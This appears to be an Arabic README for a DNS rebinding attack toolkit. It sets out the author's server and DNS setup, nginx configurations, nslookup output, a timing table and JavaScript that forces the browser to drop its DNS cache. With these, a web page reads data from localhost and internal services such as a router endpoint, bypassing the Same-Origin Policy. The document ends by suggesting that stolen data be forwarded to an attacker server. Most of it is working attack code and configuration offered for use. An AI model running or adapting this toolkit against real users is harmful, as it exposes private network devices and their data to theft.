
أداة إعادة ربط DNS مع نصوص مخصصة
مستوحى من @tavisio
هذا المشروع يهدف ليكون مجموعة أدوات شاملة لاختبار هجمات إعادة ربط DNS (DNS rebinding attacks) ونظريتي في فهم هذا النوع من الهجمات. يتكون من خادم ويب وخادم DNS زائف يستجيب فقط لاستعلامات A.
يسمح الجذر الرئيسي لخادم الويب بتكوين وتشغيل الهجوم باستخدام واجهة ويب أساسية. انظر dnsrebindtool.43z.one.
إعداد nginx أساسي لاستضافة خادم الويب
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
يقرأ مسار /attack في خادم الويب معامل GET المسمى script والذي يجب أن يوفر كود جافاسكريبت مشفرًا بـ base64، ويستجيب بالكود المُفك تشفيره (ملفوفًا حول setTimeout) مضمنًا في صفحة HTML عادية.
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
ضمن مسجل النطاق الخاص بي للنطاق 43z.one، قمت بإعداد سجل NS للنطاق الفرعي ليشير إلى IP حيث يتم استضافة هذه الأداة.
rebindns A 81.4.124.10
rebind NS ns.43z.one
يستجيب خادم DNS فقط لاستعلامات A بهذا التنسيق
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
الجزء الأول (النطاق الفرعي) هو مجرد معرف عشوائي ويجب إنشاؤه لكل جلسة هجوم (تقوم الواجهة الرسومية بذلك مع كل إعادة تحميل). يأتي ثانيًا عنوان IP الذي يجب أن يستجيب له خادم DNS خلال الثانيتين التاليتين، وثالثًا عنوان IP الذي يجب أن يستجيب له الخادم بعد انقضاء ذلك الوقت.
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
الجزء المفقود الأخير هو إعداد nginx للنطاقات المعاد ربطها (rebind domains). يجب تمرير مسار /attack فقط إلى الأداة، بينما يجب أن تستجيب المسارات الأخرى بخطأ. وهذا يسمح بمهاجمة خدمات أخرى على المنفذ 80 بجميع المسارات باستثناء /attack. (مثل /api/monitoring/stats وهو نقطة نهاية يكشف عنها جهاز التوجيه الخاص بي)
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
إخلاء ذاكرة التخزين المؤقت لـ DNS
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// first time the browser sees this domain it queries the dns server
// and gets 81.4.124.10
// sleep for more than 2 sec
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// still uses 81.4.124.10 (AND NOT 127.0.0.1)
// NO dns query happened browser used cached IP
هذه مشكلة لهذا النوع من الهجمات. لكي يعمل الهجوم، يجب على المتصفح إعادة إصدار استعلام DNS جديد للحصول على عنوان IP الثاني. نظريًا، إذا انتظرت وقتًا كافيًا بين الطلبات، يجب أن يحدث استعلام جديد. تظهر اختباراتي أنه يوجد نهج أسرع ولكنه أكثر عدوانية. من المحتمل جدًا أن يكون هذا خاصًا بإعداد معين. يحتاج إلى مزيد من الاختبارات. استخدمت السكريبت التالي لقياس القيمة المثلى لمتغير WAIT. تم اختباره على Chromium 62.0.3202.89 الذي يعمل على Debian buster/sid.
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
| قيمة WAIT بالمللي ثانية | عدد الطلبات التي يرسلها Chrome | الوقت حتى يتم الاستعلام عن DNS مرة أخرى |
|---|---|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |
لقد بدأت مستودعًا جديدًا فقط لاستكشاف هذا مختبر إخلاء ذاكرة التخزين المؤقت لـ DNS
تجميع كل شيء معًا واختباره.
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
مثيل netcat هذا يقدم بعض المحتوى الذي أرغب في الوصول إليه.
أحتفظ بنطاق إعادة الربط الافتراضي
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
والسكريبت الافتراضي
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
على dnsrebindtool.43z.one وأضغط على زر Attack.
افتح علامة تبويب الشبكة في أدوات المطور لترى ما يحدث في الخلفية.
بالنسبة لي، بعد حوالي 60 ثانية، تمتلئ السلسلة النصية TOPSECRET والوقت المستغرق. تجاوز إعادة ربط DNS سياسة Same-Origin Policy (SOP).
لاستخراج البيانات المخترقة من iframe، يمكن استخدام Window.PostMessage() أو تضمين كود يقوم بإعادة توجيه البيانات إلى خادم مهاجم آخر داخل السكريبت نفسه.